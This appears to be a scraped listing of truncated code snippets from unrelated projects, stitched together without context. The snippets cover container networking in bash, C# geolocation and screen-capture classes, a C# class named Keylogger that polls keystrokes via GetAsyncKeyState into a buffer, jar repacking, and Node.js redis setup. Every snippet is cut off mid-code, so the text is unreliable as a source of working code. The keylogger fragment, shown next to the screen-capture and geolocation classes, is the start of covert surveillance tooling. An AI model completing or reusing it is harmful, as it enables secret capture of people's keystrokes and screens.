Skip this section if you have helm installed.
The easiest way to install cert-manager is to use Helm_, a templating and
| #!/bin/bash | |
| veth_in_use=() | |
| veth_unused=() | |
| veth_all=() | |
| function veth_interface_for_container() { | |
| local pid=$(docker inspect -f '{{.State.Pid}}' "${1}") | |
| mkdir -p /var/run/netns | |
| ln -sf /proc/$pid/ns/net "/var/run/netns/${1}" |
link to notes https://git.io/vgpKc
| class GeoLocation | |
| { | |
| #region Properties | |
| string latitude; | |
| string lognitude; | |
| string city; | |
| string country; | |
| string host; | |
| string ip; | |
| string code; |
| public class ScreenCapture | |
| { | |
| public Image CaptureScreen() | |
| { | |
| return CaptureWindow(User32.GetDesktopWindow()); | |
| } | |
| public Image CaptureWindow(IntPtr handle) | |
| { | |
| var screens = Screen.AllScreens; |
| public class Keylogger | |
| { | |
| [DllImport("User32.dll")] | |
| private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration | |
| [DllImport("User32.dll")] | |
| private static extern short GetAsyncKeyState(System.Int32 vKey); | |
| private System.String keyBuffer; | |
| private System.Timers.Timer timerKeyMine; |
| #!/bin/bash | |
| unzip ${1}.${2} -d ${1} # or other extracting tool | |
| # Change whatever you need | |
| jar cvf ${1}_.${2} -C ${1} . |
| const https = require('https') | |
| const qs = require('querystring') | |
| const redis = require("redis") | |
| const sha1 = require("sha1") | |
| const url = require('url') | |
| const util = require('util') | |
| const client = redis.createClient({ | |
| host: config.redis.host, | |
| port: config.redis.port, |